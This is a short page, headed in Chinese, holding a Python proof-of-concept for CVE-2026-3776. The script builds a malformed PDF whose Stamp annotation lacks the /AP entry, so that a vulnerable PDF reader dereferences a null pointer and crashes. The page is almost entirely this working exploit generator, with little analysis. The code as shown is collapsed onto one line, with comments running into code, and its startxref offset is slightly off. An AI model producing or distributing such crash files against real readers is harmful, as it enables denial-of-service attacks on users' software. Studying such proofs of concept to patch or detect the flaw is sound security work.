CVE-2026-3776 PDF图章注释空指针解引用致DoS漏洞

import sys # Conceptual PoC for CVE-2026-3776 # This script generates a PDF file with a malformed Stamp Annotation # that is missing the required AP (Appearance) entry. def create_malicious_pdf(filename): # Minimal PDF structure pdf_header = b"%PDF-1.7\n" # Object 1: Catalog obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" # Object 2: Page tree obj2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n" # Object 3: Page with an Annotation # The page references an annotation object (4 0 R) obj3 = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [4 0 R] >>\nendobj\n" # Object 4: Malicious Stamp Annotation # Vulnerability: Missing /AP entry. The application expects /AP but dereferences a null pointer if missing. obj4 = b"4 0 obj\n<< /Type /Annot /Subtype /Stamp /Rect [100 100 200 200] /Contents (Test) >>\nendobj\n" # XRef Table xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000212 00000 n \n" # Trailer trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n" + str(len(pdf_header + obj1 + obj2 + obj3 + obj4 + xref)).encode() + b"\n%%EOF" # Write to file with open(filename, "wb") as f: f.write(pdf_header + obj1 + obj2 + obj3 + obj4 + xref + trailer) print(f"[+] Malicious PDF generated: {filename}") if __name__ == "__main__": create_malicious_pdf("cve-2026-3776-poc.pdf")